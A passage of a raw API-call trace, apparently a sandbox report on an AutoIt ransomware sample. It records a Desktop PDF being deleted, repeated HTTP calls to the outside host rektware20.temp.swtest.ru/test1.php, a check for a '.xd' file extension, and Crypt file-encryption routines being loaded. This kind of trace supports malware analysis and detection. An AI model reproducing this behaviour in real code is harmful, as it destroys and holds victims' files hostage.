lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0078.298] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0078.298] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.298] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.298] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.298] FreeLibrary (hLibModule=0x74c60000) returned 1 [0078.298] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.298] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.298] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.298] CloseHandle (hObject=0x3c8) returned 1 [0078.300] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.300] CloseHandle (hObject=0x3d8) returned 1 [0078.312] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.314] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.314] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", lpFilePart=0x0) returned 0x36 [0078.314] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\v9qsv-fpmiybdo4vcavp.pdf")) returned 0x20 [0078.314] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c8b0 [0078.314] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\v9qsv-fpmiybdo4vcavp.pdf")) returned 1 [0078.329] FindNextFileW (in: hFindFile=0x164c8b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0078.329] FindClose (in: hFindFile=0x164c8b0 | out: hFindFile=0x164c8b0) returned 1 [0078.329] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.329] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.329] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.330] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.330] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0078.330] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0078.330] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.330] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0078.330] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.330] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0078.330] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0078.330] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c) returned 1 [0078.330] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.330] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0078.330] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0078.331] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0078.331] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0078.331] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0078.331] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0078.331] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629230, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629230*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0078.331] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.331] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.331] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0078.331] CloseHandle (hObject=0x0) returned 0 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WeBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eBr2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Br2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0078.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.332] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.332] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0078.332] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.332] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0078.333] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0078.333] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.333] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0078.333] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0078.333] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ee0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620ee0, lpdwBufferLength=0x130ee1c) returned 1 [0078.333] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.333] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0078.333] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0078.333] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0078.333] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0078.333] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0078.333] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629240, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629240*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0078.333] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629380, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629380*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0078.333] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.334] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.334] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0078.334] CloseHandle (hObject=0x0) returned 0 [0078.334] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.334] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0078.334] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0078.334] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.334] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.334] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.334] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.334] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0078.334] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.334] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0078.334] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.335] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.335] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0078.335] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.335] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.335] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.335] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.335] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.335] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0078.335] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0078.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0078.335] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0078.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0078.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e330, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0078.335] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0078.335] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x16323a8) returned 1 [0078.336] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.336] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.336] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0078.336] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.336] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.336] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.336] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.336] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.336] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.336] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.336] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.336] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.336] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.336] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.336] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.336] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0078.336] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.336] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.336] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.337] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.351] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.351] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.351] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.351] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.351] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.351] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.351] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.351] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.352] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.352] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 